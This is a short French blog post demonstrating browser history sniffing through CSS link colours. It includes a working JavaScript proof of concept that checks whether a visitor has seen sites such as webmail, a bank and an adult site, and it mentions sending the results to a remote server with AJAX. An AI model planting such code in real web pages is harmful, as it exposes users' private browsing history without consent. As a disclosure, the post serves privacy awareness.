Après les cookies, voilà une autre "faille" qui ne va pas rassurer les paranos du web.
En effet, il est possible de déduire les sites webs sur lesquels vous surfez.
Si je veux savoir si vous utilisez Google par exemple, je peux créer des liens vers les différentes adresses possibles (google.fr, www.google.fr, google.com, www.google.com) et tester tout simplement la "couleur" des liens avec un bout de code JavaScript. Le lien aura une couleur différente selon que le site a déjà été visité ou pas.
Couplé à un peu d'AJAX, il est possible de compiler les données et de les envoyer à un serveur distant.
Voici un petit exemple :
<script type="text/javascript">
function isVisited(site)
{
var foo = document.createElement('a');
foo.href = 'dummy_link';
foo.innerHTML = 'x';
document.body.appendChild(foo);
var lnk = document.createElement('a');
lnk.href = site;
lnk.innerHTML = 'x';
document.body.appendChild(lnk);
var getCssStyleValue = function (domElement, cssStyleProp) {
return domElement.currentStyle ?
domElement.currentStyle[cssStyleProp] :
window.getComputedStyle(domElement,null).getPropertyValue(cssStyleProp);
}
var color_foo = getCssStyleValue(foo, "color");
var color_lnk = getCssStyleValue(lnk, "color");
document.body.removeChild(foo);
document.body.removeChild(lnk);
if (color_foo == color_lnk) return 0;
return 1;
}
var websites = [
"http://google.fr/",
"http://www.google.fr/",
"http://google.com/",
"http://www.google.com/",
"http://fr.yahoo.com/",
"http://www.yahoo.com/",
"http://www.clubic.com/",
"http://linuxfr.org/my/",
"http://www.hardware.fr/",
"http://www.cdiscount.com/default.asp",
"http://mail.google.com/",
"http://mail.yahoo.com/",
"http://www.amazon.fr/",
"http://www.amazon.com/",
"http://www.ebay.fr/",
"http://www.ebay.com/",
"http://www.microsoft.fr/",
"http://www.microsoft.com/",
"http://www.msn.fr/",
"http://www.msn.com/",
"http://zerezo.com/",
"http://www.ca-toulousain.fr/",
"https://www.videoposte.com/",
"http://www.photos-de-cul.com/"
];
document.write('Visités : <ul>');
for (var i = 0; i < websites.length; i++)
if (isVisited(websites[i]))
document.write('<li>' + websites[i] + '</li>');
document.write('</ul>');
document.write('Non visités : <ul>');
for (var i = 0; i < websites.length; i++)
if (!isVisited(websites[i]))
document.write('<li>' + websites[i] + '</li>');
document.write('</ul>');
</script>
Et le résultat obtenu :
http://royale.zerezo.com/vrac/je-sais-ou-vous-surfez.html
PS1 : Je ne peux pas mettre cette démo en ligne sur mon blog car ici les liens visités/non visités ont la même couleur ;-)
PS2 : Et de toute façon ça ne marcherait pas sur planet.amglr.net qui n'accepte pas les balises <script>.
Source :
http://linuxfr.org/~locke/23322.html1 commentaire(s)...